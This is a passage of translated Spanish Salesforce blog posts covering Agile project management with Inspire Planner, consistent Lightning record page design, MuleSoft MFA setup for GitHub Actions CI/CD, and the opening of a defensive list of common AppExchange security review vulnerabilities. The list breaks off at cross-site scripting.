  • Colaboración y comunicación: Agile no es solo una metodología; es una cultura. Mejora un entorno de comunicación abierta, garantizando que todos los miembros del equipo, desde los desarrolladores hasta las partes interesadas, estén en sintonía. Esta colaboración mejorada garantiza que la implementación de Salesforce sea integral y atienda todas las facetas del negocio. Desarrollar una cultura ágil sólida en su organización puede aumentar el rendimiento comercial en un 237 %.
  • Transparencia: una de las características destacadas de Agile es su énfasis en la visibilidad. Herramientas como los tableros Kanban y los gráficos de evolución ofrecen a las partes interesadas una vista en tiempo real del progreso del proyecto. Esta transparencia garantiza la rendición de cuentas y permite intervenciones oportunas si el proyecto se desvía de su curso. Agile en Salesforce puede mejorar la transparencia del proyecto en un 40%.
  • Gestión de riesgos: los riesgos son inevitables en el ajetreado mundo de las implementaciones de Salesforce. Sin embargo, con su enfoque iterativo, Agile permite la identificación temprana de posibles obstáculos. Al abordar los problemas de frente, Agile en Salesforce garantiza que los riesgos se identifiquen y mitiguen rápidamente. El 31% de las empresas ha adoptado Agile para reducir los riesgos.
  • Mejora continua: la complacencia no tiene cabida en Agile. Después de cada sprint, los equipos realizan retrospectivas, analizando qué salió bien y qué no. Estos conocimientos allanan el camino para la optimización de procesos, garantizando que el equipo evolucione y mejore. Según Hexacta, adoptar una mentalidad de mejora continua en el desarrollo ágil ayuda a mejorar la productividad del equipo y mejora la innovación.
Registro de riesgos del proyecto en Inspire Planner, una aplicación de gestión de proyectos nativa de Salesforce

Implementación de Agile en proyectos de Salesforce

La integración de metodologías ágiles en proyectos de Salesforce puede cambiar las reglas del juego para las implementaciones de CRM. Aquí hay una guía de 4 pasos para incorporar Agile a la perfección en sus esfuerzos de Salesforce:

Configurar equipos para Agile en Salesforce

La base de cualquier proyecto Agile exitoso radica en su equipo. Para los proyectos de Salesforce, hay miembros responsables de tareas específicas.

  • Propietario del producto: el propietario del producto establece la visión del proyecto, prioriza las tareas y alinea el equipo con los objetivos comerciales.
  • Scrum Master: Actuando como facilitador, el Scrum Master garantiza que se sigan los procesos ágiles, aborda cualquier impedimento que el equipo pueda enfrentar y fomenta un entorno colaborativo.
  • Equipo de desarrollo: compuesto por desarrolladores, arquitectos y otros especialistas de Salesforce, este grupo es responsable de la implementación real, asegurando que cada sprint entregue resultados tangibles.

Herramientas y plataformas

Los usuarios de Salesforce pueden encontrar varias herramientas nativas de gestión de proyectos para ayudar en la implementación ágil. Herramientas como Inspire Planner pueden ser invaluables, ya que ofrecen funciones que se alinean con los principios ágiles, como:

  • Reserva
  • tableros kanban
  • Planificación de sprints
  • Seguimiento del tiempo
  • Administracion de recursos
  • Informes ágiles y paneles de control

Inspire Planner es una aplicación de gestión de proyectos 100 % nativa de Salesforce que es totalmente compatible con Agile en Salesforce desde el primer momento y cuenta con una alta calificación de sus clientes con más de 140 reseñas de 5 estrellas en AppExchange. Con esta herramienta, puede gestionar fácilmente los trabajos pendientes de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gráficos de evolución.

Dado que Inspire Planner se encuentra dentro de su organización de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce, como Oportunidades, Casos y Cuentas, incluidos registros de sus objetos personalizados.

Además, Inspire Planner también ofrece una funcionalidad avanzada pero intuitiva de gestión de proyectos en cascada. Al combinar las metodologías Waterfall y Agile en un solo paquete con un solo costo de suscripción, Inspire Planner es la aplicación para todas sus necesidades de gestión de proyectos en Salesforce.

Tablero Kanban en Inspire Planner, una herramienta de gestión de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, una herramienta de gestión de proyectos nativa de Salesforce

Planificación de Sprint, reuniones diarias y revisiones de Sprint

En el contexto de Salesforce, estas ceremonias Agile son importantes para su proceso de gestión de proyectos:

  • Planificación de Sprint: Dadas las vastas capacidades de Salesforce, definir objetivos claros para cada sprint es crucial, asegurando que los esfuerzos del equipo se dirijan hacia tareas de alta prioridad.
  • Reuniones diarias: estas breves reuniones permiten al equipo analizar el progreso, abordar los obstáculos y garantizar que la implementación de Salesforce siga por buen camino.
  • Revisiones de Sprint: después de cada sprint, es esencial revisar el trabajo realizado, recopilar comentarios y garantizar que las funcionalidades implementadas de Salesforce se alineen con las necesidades comerciales.

Ceremonias de adaptación a los desafíos relacionados con Agile en Salesforce

Cada plataforma tiene desafíos únicos y Salesforce no es una excepción. Las ceremonias ágiles pueden necesitar ligeras adaptaciones. Puede estar relacionado con personalizaciones específicas de Salesforce, integraciones con aplicaciones no nativas o la gestión de los ciclos de lanzamiento regulares de Salesforce.

Por ejemplo, la duración de los sprints puede variar según los ciclos de lanzamiento de Salesforce, o las retrospectivas pueden incluir discusiones sobre herramientas y mejores prácticas específicas de Salesforce.

Mejores prácticas para introducir Agile en Salesforce

Fusionar el mundo de las metodologías ágiles con las implementaciones de Salesforce puede desbloquear eficiencias y resultados incomparables. Sin embargo, se deben arraigar ciertas mejores prácticas para aprovechar plenamente el potencial de esta sinergia.

Estas son algunas de las mejores prácticas que puede probar:

Capacitación y mejora de equipos en prácticas ágiles

Antes de sumergirse en las aguas de Agile, es imprescindible que el equipo esté bien equipado para nadar. Esto significa invertir en sesiones de capacitación integrales que presenten a los miembros del equipo los principios básicos de Agile.

Ya sea que se trate de comprender la importancia de los sprints, el papel de un Scrum Master o los matices de las retrospectivas, un equipo bien capacitado puede afrontar fácilmente los desafíos de las implementaciones de Salesforce. Además, las sesiones periódicas de mejora de habilidades pueden garantizar que el equipo se mantenga actualizado con las últimas metodologías ágiles y aplicaciones ágiles para Salesforce.

Garantizar canales de comunicación claros entre los expertos de Salesforce y los profesionales ágiles

La comunicación clara es el puente que conecta los mundos Agile y Salesforce. Con su profundo conocimiento de la plataforma, los expertos de Salesforce deben dialogar constantemente con profesionales ágiles que aportan experiencia en metodología.

Esto garantiza que los procesos ágiles se adapten a las demandas únicas de Salesforce. Las reuniones periódicas, las sesiones frecuentes de retroalimentación y los canales de comunicación abiertos pueden evitar desajustes y garantizar que el proyecto siga encaminado.

Revisar y adaptar periódicamente el proceso ágil para adaptarlo al entorno de Salesforce

A medida que avanzan los proyectos de Salesforce, es fundamental revisar y perfeccionar los procesos ágiles continuamente. Esto podría significar ajustar la duración de los sprints para alinearse con los ciclos de lanzamiento de Salesforce, incorporar herramientas específicas de Salesforce en el conjunto de herramientas Agile o incluso ajustar la estructura del equipo para adaptarse mejor a las demandas del proyecto.

Las retrospectivas periódicas pueden ofrecer información sobre áreas de mejora, garantizando que el proceso Agile permanezca optimizado para el entorno de Salesforce.

Posibles desafíos de Agile en Salesforce y Soluciones

Combinar metodologías ágiles con implementaciones de Salesforce, si bien es prometedor, es un desafío. Sin embargo, estos desafíos pueden abordarse eficazmente con previsión y planificación estratégica.

Éstos son algunos de los posibles obstáculos y cómo superarlos:

Resistencia al cambio de las metodologías tradicionales

  • Desafío: Los equipos acostumbrados a las metodologías tradicionales de gestión de proyectos pueden encontrar desalentador el cambio a Agile. El miedo a lo desconocido y la comodidad de los procesos familiares pueden generar resistencia.
  • Solución: La gestión del cambio es clave. Comience con sesiones de concientización que destaquen los beneficios de Agile, especialmente en el contexto de las implementaciones de Salesforce. Los talleres prácticos, las historias de éxito y los proyectos piloto pueden ayudar a los equipos a realizar una transición sin problemas. Tener defensores del cambio dentro del equipo puede generar un sentimiento positivo y fomentar la adopción.

Alinear sprints ágiles con los ciclos de lanzamiento de Salesforce

  • Desafío: los ciclos de lanzamiento de Salesforce a veces pueden alinearse con los sprints ágiles. Esto puede provocar problemas de sincronización, donde es posible que se publiquen nuevas funciones de Salesforce a mitad del sprint.
  • Solución: La planificación estratégica es esencial. Los equipos deben conocer el calendario de lanzamientos de Salesforce y planificar sus sprints en consecuencia. Si se anticipa un lanzamiento de Salesforce durante un sprint, se deben tomar medidas para acomodarlo. Esto podría significar sprints más cortos o alinear sprints específicos en torno a versiones de Salesforce para explorar e integrar nuevas funciones.

Garantizar la calidad en los ciclos rápidos de desarrollo

  • Desafío: La naturaleza iterativa de Agile significa ciclos de desarrollo rápidos. Si bien esto garantiza una entrega más rápida, a veces puede comprometer la calidad, especialmente cuando se intenta aprovechar las amplias capacidades de Salesforce.
  • Solución: el control de calidad debe integrarse en cada sprint. Las herramientas de prueba automatizadas, la integración continua y las revisiones periódicas del código pueden garantizar que la calidad no se vea comprometida. Además, dedicar sprints específicos o partes de sprints a controles de calidad, especialmente después de importantes personalizaciones de Salesforce, puede garantizar un producto final sólido.

Pensamientos finales

La fusión de metodologías ágiles con la entrega de proyectos de Salesforce presagia una nueva era en las implementaciones de CRM. Esta sinergia promete tanto eficiencia como un nivel de adaptabilidad y capacidad de respuesta del que a menudo carecen las metodologías tradicionales.

Vemos un testimonio de este potencial transformador cuando reflexionamos sobre herramientas como Inspire Planner.

  • Encapsula la esencia de Agile dentro del ecosistema de Salesforce.
  • Garantiza que los proyectos se completen y realmente resuenen con los objetivos comerciales.

Adoptar Agile para las implementaciones de Salesforce no es solo una recomendación sino un imperativo estratégico. A medida que la industria continúa evolucionando, la capacidad de adaptarse e iterar rápidamente definirá el éxito.

Al integrar Agile en los proyectos de Salesforce, las organizaciones pueden asegurarse de seguir el ritmo de esta evolución y mejorar la colaboración. El futuro llama y es ágil.

Categorías
Estrategias para Empresas

Un diseño tipo «cortador de galletas» puede ser lo que sus usuarios necesitan

La personalización es un sello distintivo de Salesforce, pero ¿qué sucede cuando se exagera? Durante más de 20 años, una organización del sector público creó versiones específicas para equipos de las páginas de registros de Salesforce Lightning Experience . Demasiados diseños causaron confusión y llevaron a las personas a mantener sus propias hojas de cálculo en lugar de completar Sales Cloud . Todo eso cambió cuando un Trailblazer con certificación 10X introdujo un patrón de diseño simple y repetible.

"El modelo simple puede ser algo útil", dijo Prag Ravichandran Kamalaveni, fundador y director ejecutivo de Skilled Cohort .

Establezca las bases para el crecimiento con Sales Cloud

Maximice la productividad, obtenga información valiosa y optimice los procesos para crecer con usted.

Este #DreamDesigner devolvió al cliente a los conceptos básicos de UX . Juntos, implementaron una plantilla universal para páginas de registros Lightning con objetos estándar y personalizados . El enfoque permitió a los usuarios navegar por las páginas más fácilmente y eliminar sus hojas de cálculo. "La gente volvió a Sales Cloud para completar la información", dijo. "Comenzaron a sentirse más seguros de que podían hacer lo que tenían que hacer y hacerlo rápidamente".

Por fin, todos podrían beneficiarse de una única fuente de verdad.

El buen diseño fomenta la creación de hábitos

"El buen diseño se basa en la memoria muscular y así es como puede convertirse en un hábito", dijo Prag, quien trabajó en este proyecto mientras trabajaba en CloudKettle , una consultoría que ayuda a las organizaciones a mejorar las operaciones de ingresos.

Su estrategia de diseño tiene en cuenta que todos desarrollan atajos mentales a medida que avanzan. Los procesos son más fáciles cuando son familiares. Por lo tanto, los componentes familiares en las páginas de registro pueden aumentar la eficiencia y permitir a los usuarios actuar sin fricciones.

Entonces Praga hizo una plantilla con dos columnas. Le dio a los elementos del patrón de diseño el mismo aspecto, ubicación y propósito en todos los casos. No existía una razón crítica para el negocio para recrear la rueda. En todo caso, fue todo lo contrario. Los usuarios necesitaban poder confiar en una experiencia de usuario intuitiva. Necesitaban confiar en lo que saben sobre un patrón para informar cualquier página en la que se encontraran.

"Hay una única razón por la que esto funcionó", dijo. "Todas las páginas de registro con plantilla fueron posibles gracias a Salesforce Lightning Design System (SLDS) ".

Centrarse en la reutilización

Hay grandes beneficios al diseñar sistemas. Prag confió en SLDS como recursos para crear páginas de registro consistentes con los principios de experiencia del usuario, el lenguaje de diseño y las mejores prácticas de Salesforce. "La arquitectura integrada basada en componentes nos permitió segregar la información agrupada en una plantilla universal para páginas de registro", dijo.

Después de todo, incluso una pequeña elección de diseño puede crear dificultades para los usuarios. Si un elemento está en un lugar nuevo, puede provocar agotamiento mental, arrastre y, finalmente, resignación.

“Además, algo que afecta a los usuarios es la necesidad de volver a aprender una experiencia o ralentizar su flujo”, dijo Alan Weibel, arquitecto de UX de Salesforce.

Los nuevos patrones de diseño se realizaron a nivel de macrointeracción y a nivel de microinteracción. Prag se aseguró de que las tareas más grandes (por ejemplo, iniciar sesión) fueran tan uniformes como las más pequeñas (por ejemplo, envío de formularios).

La coherencia produce eficiencia

Hoy, la información del equipo está centralizada en Sales Cloud. Los usuarios se sienten cómodos con patrones de diseño familiares. El trabajo es más fácil y los beneficios de compartir información son significativos. Las desviaciones anteriores ralentizaron el trabajo y aumentaron la carga para el administrador de Salesforce. Ahora, nadie navega por diferentes páginas de diferentes maneras.

Este tipo de transformación siempre es posible. Prag lo vio cientos de veces en sus trece años especializándose en Salesforce. La clave es que las organizaciones sigan evaluando su implementación para reducir la deuda tecnológica y la deuda de diseño .

Lo que funcionó antes puede no funcionar ahora.

Esa es la belleza del diseño. Es una conversación en curso. Y, a veces, patrones de diseño consistentes son justo lo que necesita para que su equipo vuelva a encarrilarse.

Categorías
Seguridad en Salesforce

Habilitación de MFA en MuleSoft para canalizaciones de CI/CD mediante acciones de GitHub ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Habilitación de MFA en MuleSoft para canalizaciones de CI/CD mediante acciones de GitHub | Blog de desarrolladores de Salesforce

La mayoría de las cuentas empresariales de Anypoint Platform requieren que utilice mecanismos de autenticación multifactor (MFA) para mayor seguridad. Esto significa que, además de su nombre de usuario y contraseña habituales, necesitará un paso adicional para autenticarse (por ejemplo, una aplicación de autenticación en su teléfono).

Cuando utiliza canalizaciones de CI/CD para sus aplicaciones Mule y MFA está habilitado en su cuenta, la configuración para autenticarse usando el complemento Mule Maven será diferente que si solo estuviera usando su nombre de usuario y contraseña. Hay más pasos que debe seguir desde su cuenta de Anypoint Platform para habilitar sus canales de CI/CD con este método de autenticación.

En esta publicación, aprenderá cómo configurar una canalización de GitHub Actions para que funcione con su cuenta habilitada para MFA desde Anypoint Platform.

Requisitos previos

Crear una aplicación conectada

Dado que usar el nombre de usuario y la contraseña de su plataforma Anypoint no es suficiente para autenticarse en el proceso, debe crear una aplicación conectada para usar sus credenciales (ID/Secreto). Para crearlo, vaya a su cuenta de Anypoint Platform y navegue hasta Gestión de acceso > Aplicaciones conectadas > Crear aplicación .

Asigne un nombre a su aplicación para identificarla de otras que pueda crear. Por ejemplo, github-actions . Seleccione el tipo La aplicación actúa por sí sola y haga clic en el botón Agregar ámbitos .

Seleccione los siguientes 10 ámbitos.

  • Desarrollador del centro de diseño
  • Ver entorno
  • Ver organización
  • Perfil
  • Administrador de organización de CloudHub
  • Crear aplicaciones
  • Eliminar aplicaciones
  • Descargar aplicaciones
  • Leer aplicaciones
  • Leer servidores

Haga clic en Siguiente . Seleccione su grupo empresarial y haga clic en Siguiente . Seleccione su entorno (por ejemplo, Sandbox) y haga clic en Siguiente . Revise que los alcances sean correctos y haga clic en Agregar alcances . Haga clic en Guardar .

Una vez creada la aplicación, asegúrese de copiar tanto el ID como el Secreto . Los utilizará en la configuración de la canalización como método de autenticación.

Configura tus secretos de GitHub Actions

Vaya a su repositorio de GitHub. Haga clic en la pestaña Configuración > Secretos y variables > Acciones > Nuevo secreto del repositorio . En el campo de nombre, agregue CONNECTED_APP_CLIENT_ID . En el campo secreto, agregue la identificación real que acaba de copiar en el paso anterior. Repita este paso para crear otro secreto con el secreto real que copió en el paso anterior. Utilice el nombre CONNECTED_APP_CLIENT_SECRET .

Crear una canalización de CI/CD

De vuelta en el código de su aplicación Mule, cree una carpeta .github en el nivel raíz. Dentro de esta carpeta, cree otra carpeta llamada workflows . Dentro de esta carpeta, cree un archivo build.yml con el siguiente contenido: mule-mfa-cicd-build.yml . Tenga en cuenta que la sucursal main se utiliza en la línea 5. Si su sucursal tiene un nombre diferente, asegúrese de actualizar esta configuración.

En este archivo, describimos los pasos para generar el archivo JAR de nuestra aplicación Mule e implementarlo en nuestra cuenta de Anypoint Platform usando GitHub Actions. Observe que estamos usando los secretos creados previamente en el último paso para pasarlos a nuestro proyecto a través de Maven. Aquí declaramos dos variables de entorno Java ( client.id y client.secret ) para copiar las credenciales de nuestra aplicación de los secretos de GitHub para que el archivo pom.xml pueda usarse más adelante.

Modifica tu configuración de Maven

En su proyecto Mule, abra su archivo pom.xml. Localice el complemento org.mule.tools.maven en project/build/plugins . Agregue la siguiente configuración a este complemento.

<dx-code-block title language="xml" code-block=" org.mule.tools.maven mule-maven-plugin ${mule.maven.plugin.version} true https://anypoint.mulesoft.com 4.4.0 mulesoft-mfa-cicd Sandbox MICRO us-east-2 1 true ${client.id} ${client.secret} client_credentials
«>

Vuelva a verificar estas configuraciones en caso de que necesite actualizarlas para que coincidan con su caso de uso. Por ejemplo, muleVersion , applicationName , environment o region . Usaremos los campos connectedAppClientId y connectedAppClientSecret para pasar las variables Java que declaramos anteriormente en la configuración de Maven.

Es importante que no codifique las credenciales de la aplicación conectada en este archivo por razones de seguridad. Es por eso que mantenemos los valores como secretos de GitHub. Recuerda que puedes acceder a nuestro repositorio de ejemplo si necesitas comparar tu código con el nuestro.

ejecutar la tubería

Una vez que todas sus configuraciones estén listas, confirme y envíe sus cambios al repositorio remoto. Esto activará la canalización en GitHub. Puede ver el proceso haciendo clic en la pestaña Acciones de su repositorio de GitHub.

Una vez completado el proceso, su aplicación Mule se implementará en Runtime Manager. Tenga en cuenta que el archivo JAR contendrá el hash de confirmación en su nombre.

Conclusión

Habilitar canalizaciones de CI/CD es importante para automatizar tareas repetitivas. En lugar de implementar manualmente una aplicación Mule cada vez que hay un cambio en el código, podemos crear canalizaciones para que realicen estas tareas por nosotros. Este fue un ejemplo simple que utiliza solo una sucursal y un entorno, pero puede conectar otras sucursales a otros entornos en Anypoint Platform. Por ejemplo, dev , qa , prod , etc.

En esta publicación, aprendimos cómo implementar automáticamente una aplicación Mule en CloudHub cuando usamos la autenticación multifactor en nuestra cuenta de Anypoint Platform porque la mayoría de las cuentas empresariales tienen esta configuración habilitada. Sin embargo, cuando solo usa una cuenta de prueba gratuita, no necesita crear una aplicación conectada si no usa MFA en su cuenta. Puede utilizar su nombre de usuario y contraseña de Anypoint Platform para iniciar sesión.

Hay muchas cosas que puede automatizar al utilizar canalizaciones de CI/CD para sus aplicaciones Mule. Puedes ejecutar pruebas automatizadas antes de implementar tu aplicación Mule, por ejemplo. ¿Se te ocurren otras tareas repetitivas que puedas automatizar en tus canalizaciones?

Nota: Las versiones iniciales de la canalización se basan en el siguiente repositorio creado por Archana Patel: arch-jn/github-actions-mule-cicd-demo .

Recursos adicionales

Sobre el Autor

Alex Martínez formó parte de la comunidad de MuleSoft antes de unirse a MuleSoft como desarrollador defensor. Fundó ProstDev para ayudar a otros profesionales a aprender más sobre la creación de contenido. En su tiempo libre, encontrarás a Alex jugando juegos de Nintendo o Playstation y escribiendo reseñas sobre ellos. Siga a Alex en LinkedIn o en la comunidad Trailblazer .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Categorías
Salesforce AppExchange

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

